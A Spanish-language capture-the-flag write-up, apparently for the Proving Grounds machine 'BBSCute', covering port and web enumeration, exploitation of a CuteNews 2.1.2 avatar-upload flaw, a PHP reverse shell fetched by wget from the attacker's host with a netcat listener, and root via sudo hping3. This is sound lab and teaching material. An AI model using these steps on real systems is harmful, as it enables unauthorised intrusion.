> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/bbscute.md).

# BBSCute

<figure><img src="/files/LxQYk8p8NgJqQ6LJHfqD" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios disponibles

Comenzamos la resolución de este CTF enumerando los servicios que tiene disponibles.&#x20;

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.147.128
```

<figure><img src="/files/axYdd3xGwxR3mhfS5D93" alt=""><figcaption></figcaption></figure>

5 puertos abiertos (22,80,88,110,995). Continuamos con el escaneo profundo de estos servicios.&#x20;

```
nmap -p22,80,88,110,995 -Pn -n -sVC -vvv 192.168.147.128
```

<figure><img src="/files/rve3DokXABrdzZqHkfK9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/SqlVBgopnOMbZF2Nk7RT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mBYzJURaEVMTKWM2E86p" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Pw1HwalzUpPxxeaWmDSK" alt=""><figcaption></figcaption></figure>

Servicios disponibles:

* Puerto 22 -> SSH -> OpenSSH 7.9
* Puerto 80 -> HTTP -> Apache httpd 2.4.38
* Puerto 88 -> HTTP -> nginx 1.14.2
* Puerto 110 -> POP3
* Puerto 995 -> POP3

#### Enumeración Web

Comenzamos enumerando el contenido del servicio Web ejecutado en el puerto 80.&#x20;

<figure><img src="/files/0VxpmLt78bafORlV4HBl" alt=""><figcaption></figcaption></figure>

Vemos una página por defecto de un servidor Apache. Vamos ahora a enumerar los directorios y archivos interesantes en buscar de posibles puntos vulnerables.&#x20;

```
dirsearch -u "192.168.147.128" -i200,301 -t 30
```

<figure><img src="/files/GSM4Z0k2RsvBCeCmKjdn" alt=""><figcaption></figcaption></figure>

Abrimos el archivo /LICENSE.txt

<figure><img src="/files/kmTtGDjklzLQBcuSdrMJ" alt=""><figcaption></figcaption></figure>

Parece que se está ejecutando el CMS "Cute" en el servidor Web pero no vemos que versión.

El siguiente archivo interesante, /index.php

<figure><img src="/files/9i2hL1XNmQUSfXdhTAiu" alt=""><figcaption></figcaption></figure>

Vemos un formulario de inicio de sesión y la confirmación de la información obtenida anteriormente además de la versión ejecutada.&#x20;

### Explotación

Sabiendo que se está ejecutando el CMS "CuteNews" en su versión 2.1.2, vamos a buscar si existe algún exploit para este CMS.

<figure><img src="/files/NmWZUpR9zQUXc2q20Shj" alt=""><figcaption></figcaption></figure>

Vamos a descargar este exploit para ver como se ejecuta.

<figure><img src="/files/uBrZjnzffY306cTY6pXO" alt=""><figcaption></figcaption></figure>

Este exploit aprovecha una vulnerabilidad de carga de archivos en la carga de imágenes de avatar.&#x20;

El exploit no funciona de inmediato. La razón es que no estamos situados en /CuteNews, estamos sentados en el directorio raíz. Debemos bsucar y reemplazar las referencias de /CuteNews, entonces este exploit funcionará.

<figure><img src="/files/PSoZkfGKQa33XI7OIcNf" alt=""><figcaption></figcaption></figure>

Una vez hemos realizado las modificaciones en el exploit, ejecutamos.

<figure><img src="/files/GzrCN7StsxPtevpaKOs7" alt=""><figcaption></figcaption></figure>

Tenemos conexión con la máquina objetivo aunque no una shell como tal. Para ello, vamos a cargar una reverse shell en el sistema objetivo de la siguiente manera:

* Preparamos un archivo "php-reverse-shell.php" con nuestra IP y puerto de escucha.

<figure><img src="/files/J0o5pAHU7joUwy1V3x4M" alt=""><figcaption></figcaption></figure>

* Ponemos un oyente nc a la escucha en el puerto 1234.

```
nc -lnvp 1234
```

* Habilitamos un servidor HTTP con Python para enviar este archivo a la máquina víctima

```
En la máquina de ataque: python2 -m SimpleHTTPServer 80
En la máquina objetivo: wget http://192.168.49.147/php-reverse-shell.php
```

* Abrimos el archivo en el navegador Web, y ya tendremos conexión.&#x20;

<figure><img src="/files/Ookg8oAhpBZmGEG4j8SZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cJvuDZrJxVJcXd7oXJNN" alt=""><figcaption></figcaption></figure>

Realizamos el tratamiento de la tty:

```
 python -c 'import pty;pty.spawn("/bin/bash")'
```

<figure><img src="/files/Ri4Vn2wieNYFnSIuMvXS" alt=""><figcaption></figcaption></figure>

El siguiente paso, buscar la flag de privilegios bajos, local.txt.

<figure><img src="/files/kF9S5Q9leVdJFN4hbDtw" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Vamos a comprobar los privilegios de sudo de nuestro usuario:

```
sudo -l
```

<figure><img src="/files/xOHYoCrpCsSTslUMJRjP" alt=""><figcaption></figcaption></figure>

Se permite  escalar desde hping3.&#x20;

<figure><img src="/files/r91lVLeVAcUbnV5W6xU5" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag proof.txt

<figure><img src="/files/vssah5HfRjOq0gL38ZdA" alt=""><figcaption></figcaption></figure>

Y ya estaría la máquina "BBSCute" resuelta y terminada.&#x20;

{% embed url="<https://www.youtube.com/watch?v=KvOLHb_pO5c>" %}
